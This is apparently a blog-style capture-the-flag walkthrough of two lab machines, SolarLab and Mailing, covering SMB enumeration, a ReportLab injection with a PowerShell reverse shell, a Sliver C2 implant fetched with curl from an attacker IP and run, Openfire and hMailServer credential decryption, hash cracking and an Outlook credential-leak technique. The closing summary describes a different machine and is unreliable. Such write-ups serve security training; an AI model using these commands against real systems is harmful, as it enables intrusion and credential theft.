 My Videos DHSrn 0 Fri Nov 17 02:36:51 2023
 old_leave_request_form.docx A 37194 Fri Nov 17 17:35:57 2023
 7779839 blocks of size 4096. 1893544 blocks available
smb: \> dir
 . DR 0 Fri Apr 26 21:47:14 2024
 .. DR 0 Fri Apr 26 21:47:14 2024
 concepts D 0 Fri Apr 26 21:41:57 2024
 desktop.ini AHS 278 Fri Nov 17 17:54:43 2023
 details-file.xlsx A 12793 Fri Nov 17 19:27:21 2023
 My Music DHSrn 0 Fri Nov 17 02:36:51 2023
 My Pictures DHSrn 0 Fri Nov 17 02:36:51 2023
 My Videos DHSrn 0 Fri Nov 17 02:36:51 2023
 old_leave_request_form.docx A 37194 Fri Nov 17 17:35:57 2023
 7779839 blocks of size 4096. 1893544 blocks available
smb: \> get details-file.xlsx
getting file \details-file.xlsx of size 12793 as details-file.xlsx (64.7 KiloBytes/sec) (average 64.7 KiloBytes/sec)
smb: \> exit

and we can also enumerate smb users with this by doing:

crackmapexec smb solarlab.htb -u anonymous -p '' --rid-brute
SMB 10.129.44.43 445 SOLARLAB [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.129.44.43 445 SOLARLAB [+] solarlab\anonymous:
SMB 10.129.44.43 445 SOLARLAB 500: SOLARLAB\Administrator (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 501: SOLARLAB\Guest (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 503: SOLARLAB\DefaultAccount (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 504: SOLARLAB\WDAGUtilityAccount (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 513: SOLARLAB\None (SidTypeGroup)
SMB 10.129.44.43 445 SOLARLAB 1000: SOLARLAB\blake (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 1001: SOLARLAB\openfire (SidTypeUser)

nah after we get the xlsx file and also the existing username. we open the xlsx file and it turns out to get various password credentials

nah after we get the creds, try the subdomain http://report.solarlab.htb:6791

after trying several usernames from smb and passwords from the xlsx I found that the correct creds are

BlakeB:ThisCanB3typedeasily1@

how do I know the username? we can enumerate on the usernames in the xlsx file which are only 2, namely Capital letters at the beginning and end.

after we successfully log in

nah after that we just need to test the features

after I tested the pdf generation feature it works and I downloaded the pdf. for further enumeration

it turns out that when we use exiftools we know the generated pdf uses ReportLab generated PDF document -- digest (http://www.reportlab.com)

but there the exploit is placed in a new file. we just take the payload and put it in the subject / body

<para>
 <font color="[ exploit ]">
 exploit
 </font>
 </para>

here I am using revshell powershell because this is command injection

Enumeration & Persistence

so first we persist it first to make it nice. here I use Sliver. you can use your favorite c2 framework.

tldr that I use

- attacker - 
sliver > http --lport 1337
sliver > http --lport 1338
sliver > generate --http 10.10.14.45:1338 --save /tmp/
cd /tmp/ && python3 -m http.server 8000
- victim - 
curl -O v.exe http://10.10.14.45:8000/any.exe
./v.exe

and if you look here there is a process sus running openfire-service. let's just check the listen.

let's just turn on the proxy. and connect to our terminal (proxychains) and our browser, smartproxy

lgsg gas. eh yeah I forgot why we are targeting this openfire because this openfire is run by the system

with the information above and getting the version from the tech we can search for the exploit hehehe

nah got it. just use it, don't forget to understand it too skid

get the user password directly and update the rce plugin according to the instructions.

after we get the openfire user. we can see in the openfire db file (when rooting/enumerating) always check the db file

db openfire itself is located in Programfiles embedded-db C:\Program Files\Openfire\embedded-db

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','[email protected]','001700223740785','0')
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)

we got admin credentials and password key to dec from this hash.

to dec openfire password enc this can just search and you will definitely find it

got it

java OpenFireDecryptPass.java becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)

lgsg aja coba pw ini ke administrator

and successfully got root access.


Page 5

Mailing Windows · Easy

  • Cracking hash password of the hMailServer admin email creds
  • zero click account leak outlook
  • LibreOffice CVE-2023-2255

first we scan using nmap the ip

# Nmap 7.94 scan initiated Thu May 16 02:37:04 2024 as: nmap -sC -sV --verbose -oN reports_10.129.231.40 10.129.231.40
Nmap scan report for 10.129.231.40
Host is up (0.064s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: UIDL USER TOP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: ACL CAPABILITY IMAP4rev1 IDLE SORT QUOTA NAMESPACE CHILDREN completed OK RIGHTS=texkA0001 IMAP4
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
587/tcp open smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp open ssl/imap hMailServer imapd
|_imap-capabilities: ACL CAPABILITY IMAP4rev1 IDLE SORT QUOTA NAMESPACE CHILDREN completed OK RIGHTS=texkA0001 IMAP4
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time: 
| date: 2024-05-15T19:37:36
|_ start_date: N/A
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled but not required
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 16 02:38:16 2024 -- 1 IP address (1 host up) scanned in 71.32 seconds

there are smb, imap, pop3, and http open

lgsg aja masuk ke initial discovery ke port 80 nya kita set dlu di /etc/hosts

10.129.231.40 mailing.htb

nah we know this uses hmailserver

lgsg aja search exploitnya dan dpt kalo vuln lfi : https://www.exploit-db.com/exploits/7012

but when checked there is none. let's just try using dirsearch

200 31B http://mailing.htb/download.php

there is download.php let's directly input the payload

no, in the exploit db it actually just uses program files because program files don't have 404, we tried in x86 program files and there is. to download

cat hMailServer.INI
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 │ File: hMailServer.INI
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 1 │ [Directories]
 2 │ ProgramFolder=C:\Program Files (x86)\hMailServer
 3 │ DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
 4 │ DataFolder=C:\Program Files (x86)\hMailServer\Data
 5 │ LogFolder=C:\Program Files (x86)\hMailServer\Logs
 6 │ TempFolder=C:\Program Files (x86)\hMailServer\Temp
 7 │ EventFolder=C:\Program Files (x86)\hMailServer\Events
 8 │ [GUILanguages]
 9 │ ValidLanguages=english,swedish
 10 │ [Security]
 11 │ AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
 12 │ [Database]
 13 │ Type=MSSQLCE
 14 │ Username=
 15 │ Password=0a9f8ad8bf896b501dde74f08efd7e4c
 16 │ PasswordEncryption=1
 17 │ Port=0
 18 │ Server=
 19 │ Database=hMailServer
 20 │ Internal=1
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

put it in the file for us to crack

cat administrator.hash
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 │ File: administrator.hash
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 1 │ 841bb5acfa6779ae432fd7a4e6600ba7
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
sudo john administrator.hash --wordlist=/home/replican/Desktop/Prod/CyberSecurity/seclists/Passwords/Leaked-Databases/rockyou.txt --format=Raw-Md5
[sudo] password for replican:
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
homenetworkingadministrator (?)
1g 0:00:00:00 DONE (2024-05-16 04:39) 3.030g/s 22915Kp/s 22915Kc/s 22915KC/s homepc..homeiyun88
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

nah we got the creds for the email which is

[email protected]:homenetworkingadministrator

back to port 80 earlier and open instruction.pdf ( download the button at the bottom )

here we know that if we send an email later with Maya it will be automatically seen (we assume there is a bot to automatically see every new message)

here immediately thought of the exploit that recently exists in the outlook email services. ( I also found out from the htb forum given a hint :v )

just use the responder and its cve to gain zero click account leak

Summary
The article discusses the initial reconnaissance phase of a penetration test using port scanning and directory searching. It details the use of the tool 'naabu' to scan the host 10.129.57.150, identifying 21 open ports, including HTTP on port 80, which is running nginx. The scan results show various services, including DNS, Kerberos, and Microsoft RPC. Following the port scan, a directory search is performed on the HTTP service using 'dirsearch', targeting the URL http://freelancer.htb. The output reveals several HTTP responses, including redirects to login pages for the admin section, indicating potential areas for further exploration. The article highlights the importance of these tools in identifying vulnerabilities and entry points during a security assessment.